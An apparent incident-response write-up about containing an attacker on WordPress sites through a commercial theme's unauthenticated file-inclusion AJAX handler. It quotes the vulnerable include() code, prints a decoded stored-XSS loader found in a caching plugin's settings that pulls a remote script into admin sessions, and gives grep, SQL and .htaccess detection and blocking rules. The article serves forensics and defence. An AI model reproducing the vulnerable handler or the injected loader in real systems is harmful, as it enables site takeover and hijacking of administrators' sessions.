Skip to content
Back to Articles

When You Can’t Patch the Theme: Containing a Live WordPress Attacker

Share:

The textbook answer to an actively exploited vulnerability is "patch it". In real incident response that is not always on the table. The vulnerable code may belong to a commercial theme you are not allowed to modify, the vendor may not have a fix, or the owner may simply need the sites to stay exactly as they are until their developer can look. Meanwhile the attacker is still sending requests, and every file you delete comes back a few minutes later.

This write-up covers one such cleanup and the three pieces of it that I think are worth reusing: how the entry point was found in a theme's own AJAX handler, how a script hidden in a caching plugin's settings was decoded and removed without resetting the plugin, and how a narrow, measured .htaccess rule stopped a live, adapting attacker without breaking the site. The wider reinfection story (many sites on one account, loaders coming back in waves) is similar to an earlier live cleanup, and the auto_prepend_file tricks used here are covered in the 15-persistence-layers teardown, so I will not repeat them.

🚪 The door: a "load more" handler that includes whatever you send it

The sites used a commercial theme framework with infinite scrolling. Its AJAX endpoint, registered for logged-out visitors too, reads the path of the template to render from the request body and includes it:

function ajax_load_next_page() {
    $page = intval( $_POST['page'] );
    $vars = $_POST['vars'];

    // item template file
    $template = $_POST['template'];

    // ... builds a WP_Query from $vars ...

    include( $template );   // attacker-controlled path
}

No allow-list, no basename(), no check that the path stays inside the theme. That is a local file inclusion (LFI) reachable as an unauthenticated POST to wp-admin/admin-ajax.php. On its own an LFI needs a file to include, and that was the attacker's two-step routine: write a small PHP script somewhere on disk (here, under /tmp), then POST its path as template. Each run re-injected the theme, re-dropped loaders and re-planted a file manager.

What made it hard to see is that admin-ajax.php is the noisiest endpoint on most WordPress sites. These sites' own front end called it hundreds of times a minute. Looking for "POST to admin-ajax" finds nothing useful. What found it was correlating time: the change time of every newly written file lined up, to the second, with a POST from the same client.

# 1. When did suspicious files appear? (ctime cannot be forged by touch)
find /home/USER/public_html -type f \( -name "*.php" -o -name "*.txt" -o -name ".user.ini" \) \
  -newerct "2 hours ago" -printf '%C+ %p\n' | sort

# 2. Which POSTs to admin-ajax.php happened in that same second?
grep 'POST /wp-admin/admin-ajax.php' /path/to/access-log | grep 'DD/Mon/YYYY:HH:MM:SS'

Once you suspect a theme or plugin, auditing it for this pattern is quick. Look for include/require fed by request data, directly or through a variable assigned a few lines earlier:

# Direct: include($_POST['x'])
grep -rnE "(include|require)(_once)?\s*\(?\s*\\\$_(POST|GET|REQUEST)" wp-content/themes wp-content/plugins

# Indirect: $template = $_POST['template']; ... include($template);
grep -rnE "\\\$[a-z_]+\s*=\s*\\\$_(POST|GET|REQUEST)\[['\"](template|file|path|page|view|tpl)" \
  wp-content/themes wp-content/plugins

Every hit is a lead, not a verdict. Check whether the variable is validated against a fixed list before it reaches the include, and whether the handler is registered with wp_ajax_nopriv_ (reachable without login).

🗄️ The hidden script: stored XSS inside a plugin's settings

A database sweep for scripts turned up something that no file scan would see. Two sites had JavaScript stored inside a caching plugin's CDN status option, the JSON blob the plugin renders as a notice in the admin panel:

{"cdn_dns_summary":"...","cdn_verify_msg":"sent<script>eval(atob(String.fromCharCode(90,71,57,106,100,87,49,108,...)))</script>", ...}

It decodes in two steps. The character codes produce a Base64 string, and atob() turns that into:

document.currentScript.parentElement.parentElement.style='display:none;';
var d=document; var s=d.createElement('script');
s.src='https://dns.<redacted>.com/service/st.js'; s.type='text/javascript';
d.currentScript.parentNode.insertBefore(s, d.currentScript);

Line one hides the notice that contains the script, so the administrator never sees anything odd on the page. The rest loads a remote script inside a logged-in administrator's browser session. Code running there can do anything that administrator can: create users, install plugins, edit theme files. It is the kind of foothold that survives a file-only cleanup, because there is no file.

Finding these takes a content search across option values, not just names. Run it on every database on the account:

SELECT option_name, CHAR_LENGTH(option_value) AS len
FROM wp_options
WHERE option_value REGEXP '<script|eval[(]|atob[(]|fromCharCode';

Expect a few legitimate hits (some page builders and analytics plugins store snippets); read each one. To decode a payload safely, never paste it into a browser console. Reproduce the two steps offline:

python3 -c "import base64; c=[90,71,57,106,100,87,49,108]; print(base64.b64decode(''.join(map(chr,c))))"

Removal was surgical. Deleting the whole option would reset the plugin's CDN configuration, so only the <script>…</script> substring was cut out, and the rest of the JSON was left byte-for-byte intact. Before touching anything, the original row was dumped, so the change can be proven and reversed:

mysqldump DB wp_options --where="option_name='<option>'" --no-create-info --complete-insert > option-before.sql

After the edit, rerun the REGEXP query and load the plugin's settings page once to make sure it still parses its own JSON.

🧬 Containment: fingerprint the attacker, not the endpoint

With the theme off-limits, the re-deployment had to be stopped one layer earlier, at the web server. Blocking admin-ajax.php outright was not an option: the sites' own infinite scroll, forms and mobile reader apps all depend on it. The rule had to match the attacker's requests and nothing else.

Step 1: measure legitimate traffic first

Before writing a single rule, count who actually POSTs to the endpoint. On these sites the answer included full desktop and mobile browser strings, several reader apps with their own custom User-Agents, and one short outlier:

grep -h 'POST /wp-admin/admin-ajax.php' /path/to/access-logs/* \
  | awk -F'"' '{print $6}' | sort | uniq -c | sort -rn | head -20

The attacker's tool sent exactly Mozilla/5.0, with nothing after it. No real browser does that.

Step 2: block narrowly, with markers

# BEGIN temporary block
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0$
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
# END temporary block

It went at the very top of each site's .htaccess, before the WordPress block, after backing up the original file. The clear BEGIN/END markers matter: whoever maintains the site next must be able to find the rule and know it is temporary.

Step 3: watch the attacker adapt

The 403s started immediately. A few minutes later they stopped, and a fresh loader appeared on one site. The logs showed why: the attacker had switched to a longer string ending in a bare Chrome/126, still unlike any real browser (real Chrome strings continue with a full version and a Safari/537.36 token). They also kept coming from the same couple of IPv6 /64 ranges.

Step 4: generalise the fingerprint, and close the landing zones

# BEGIN temporary block
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{HTTP_USER_AGENT} (^Mozilla/5\.0$|Chrome/[0-9]+$) [OR]
RewriteCond %{REMOTE_ADDR} ^<attacker-ipv6-prefix>:
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
RewriteRule ^wp-content/(uploads|mu-plugins)/.*\.ph(p[0-9]?|tml|ar)$ - [F,L,NC]
</IfModule>
# END temporary block

Two changes. The User-Agent condition now matches the shape of the tool's strings (a string that is exactly Mozilla/5.0, or one that ends right after a Chrome major version) instead of one literal value, and the attacker's network prefix is blocked regardless of User-Agent. The last line refuses direct requests to PHP files inside uploads/ and mu-plugins/, the two folders the attacker kept writing to. WordPress never needs either to be web-executable. Must-use plugins are loaded by wp-settings.php, not requested by URL.

Step 5: verify from the logs, not from hope

# Status codes for admin-ajax POSTs since the rule went in, split by "attacker-shaped" vs everything else
grep 'POST /wp-admin/admin-ajax.php' /path/to/access-log \
  | awk -F'"' '{ua=$6; split($3,a," "); s=a[1]; t=(ua ~ /^Mozilla\/5\.0$|Chrome\/[0-9]+$/) ? "attacker" : "other"; print t, s}' \
  | sort | uniq -c

The result to look for: every attacker-shaped request gets 403, and the "other" group shows 200s and no 403s at all. That is what this one showed, from the minute the second version went in. No new files appeared after it either, which was the real goal.

The honest caveats

  • This is containment, not a fix. A User-Agent is one line of the attacker's code. The rule blocks the automation that is already running and buys time. The vulnerable include() is still there until the theme is patched or the handler is restricted.
  • Measure before you deploy. A broader filter (say, blocking every non-browser User-Agent) would have taken down the reader apps in the same minute it blocked the attacker.
  • Back up every .htaccess you touch, and on servers with many sites, prefer one rule template applied identically everywhere, so it can be removed the same way.
  • Expect another adaptation. Keep watching the logs for a day and be ready to tighten again.

✅ Takeaways

  • Correlate file times with request times. On a noisy endpoint, the request that wrote a file is the one in the same second as the file's ctime.
  • Audit themes for request-driven includes. include($_POST[...]), direct or via a variable, behind a nopriv AJAX action is an unauthenticated LFI.
  • Search option values for scripts. A script in a plugin's settings runs in the admin's browser and leaves no file behind.
  • Clean surgically. Strip the injected substring, keep the option, dump the row first.
  • When you cannot patch, fingerprint. Measure legitimate traffic, block the attacker's shape rather than the endpoint, verify with logs, and assume they will adapt.

❓ Frequently asked questions

How can a WordPress theme be hacked without a vulnerable plugin?

Themes ship PHP too, and many register AJAX handlers for features like infinite scroll or live search. If a handler passes request data into include or require without validation, anyone can make the site execute a file of their choice through admin-ajax.php, without logging in.

Can malware hide in WordPress plugin settings?

Yes. Options are stored in wp_options and some are rendered as HTML in the admin panel. A <script> injected into such a value runs in the browser of every administrator who opens that screen, with their privileges. File scanners do not see it; search the option values in the database.

Is blocking a User-Agent in .htaccess enough to stop an attack?

No. It is a short-term containment measure against automation that is already running, and the attacker can change the header at will. Combine it with network-range blocks and folder-level PHP denies, verify it in the logs, and fix the underlying vulnerability as soon as you can.

Will blocking PHP in wp-content/uploads and mu-plugins break WordPress?

Not on a standard install. WordPress loads must-use plugins internally and never needs to execute PHP from uploads/ over HTTP. A few badly built plugins do request PHP files under uploads/; check the access logs for 200s on such paths before you deploy the rule.